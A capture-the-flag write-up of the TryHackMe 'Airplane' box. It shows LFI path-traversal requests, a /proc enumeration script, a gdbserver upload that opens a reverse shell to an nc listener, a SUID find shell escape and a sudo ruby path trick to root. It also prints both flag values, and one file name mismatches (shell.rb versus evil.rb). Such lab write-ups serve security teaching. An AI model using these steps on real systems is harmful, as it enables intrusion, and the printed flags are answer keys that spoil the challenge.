Airplane Write-up - TryHackMe
Process enumeration via LFI, GDB remote debugging, SUID binary and path manipulation to get root.
Airplane
is a medium level boot2root challenge on TryHackMe.
Web Application
The page
parameter looked like there was a Local File Inclusion (LFI) vulnerability.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ curl http://airplane.thm:8000/?page=../../../../etc/passwd -v
Server: Werkzeug/3.0.2 Python/3.8.10
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
[...]
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hudson:x:1001:1001::/home/hudson:/bin/bash
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
This was probably a Flask application. So I tried to read the source code of the application. curl http://airplane.thm:8000/?page=../app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask, send_file, redirect, render_template, request
import os.path
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/' + request.args.get('page')
if os.path.isfile(page):
resp = send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "Page not found"
else:
return redirect('http://airplane.thm:8000/?page=index.html', code=302)
@app.route('/airplane')
def airplane():
return render_template('airplane.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
I read templates/airplane.html
but there was nothing interesting.
Since everything is a file in Linux, I thought I could enumerate processes. Created a python script to list all the processes.
1
2
3
4
5
6
import requests
for i in range(1, 1000):
response = requests.get(f'http://airplane.thm:8000/?page=../../../../proc/{i}/cmdline')
if response.text != "Page not found" and response.text != "":
print(f'Process {i}: {response.text}')
When I ran the script, I got this output.
1
2
3
4
5
6
7
8
9
10
11
12
Process 1: /sbin/initsplash
Process 223: /lib/systemd/systemd-journald
[...]
Process 523: /usr/sbin/NetworkManager--no-daemon
Process 526: /usr/bin/gdbserver0.0.0.0:6048airplane
Process 530: /usr/bin/python3app.py
Process 533: /usr/bin/python3/usr/share/unattended-upgrades/unattended-upgrade-shutdown--wait-for-signal
Process 537: /usr/lib/udisks2/udisksd
Process 539: /usr/sbin/ModemManager
Process 543: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
Process 549: /usr/sbin/ModemManager
[...]
Process 530
is the Flask application that I was interacting with. Process 526
is gdbserver
. The gdbserver
is listening on port 6048
. GDB is a Linux debugging tool. It can also be used to debug remote applications. I could try to interact with the gdbserver
to get a shell.
I applied a technique described in Hacktricks.
1
2
3
4
5
6
$ gdb binary.elf
(gdb) target extended-remote 10.10.240.196:6048
(gdb) remote put binary.elf /tmp/binary.elf
Successfully sent file "binary.elf".
(gdb) set remote exec-file /tmp/binary.elf
(gdb) run
Popped a shell.
1
2
3
4
5
6
7
8
─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.14.84.35] from (UNKNOWN) [10.10.240.196] 60708
hudson@airplane:/opt$ ls -lah
total 28K
drwxr-xr-x 2 root root 4.0K Apr 17 08:14 .
drwxr-xr-x 20 root root 4.0K Apr 17 07:39 ..
-rwxr-xr-x 1 hudson hudson 17K Apr 17 08:14 airplane
Lateral Movement
I noticed another user named carlos
on the system. When I ran linpeas to enumerate the system, I found that Carlos has SUID permissions on the /usr/bin/find
binary.
1
2
hudson@airplane:/opt$ ls -lah /usr/bin/find
-rwsr-xr-x 1 carlos carlos 313K Feb 18 2020 /usr/bin/find
I used GTFOBins to get a shell as carlos
.
1
2
3
hudson@airplane:/opt$ /usr/bin/find . -exec /bin/sh -p \; -quit
whoami
carlos
Got the user flag.
1
2
cat user.txt
eebfca2ca5a2b8a56c46c781aeea7562
Privilege Escalation
I created an SSH key pair and added my public key to the authorized_keys
file of the carlos
user. Then I was able to SSH into the machine as carlos
.
1
2
3
4
5
6
carlos@airplane:~$ sudo -l
Matching Defaults entries for carlos on airplane:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User carlos may run the following commands on airplane:
(ALL) NOPASSWD: /usr/bin/ruby /root/*.rb
This can be exploited to get a root shell via path manipulation. I created a ruby script on /tmp/
.
1
2
3
4
carlos@airplane:~$ echo 'system("/bin/bash")' > /tmp/shell.rb
carlos@airplane:~$ sudo /usr/bin/ruby /root/../tmp/evil.rb
# whoami
root
Got the root flag.
1
2
# cat /root/root.txt
190dcbeb688ce5fe029f26a1e5fce002
That’s it. The box was rooted.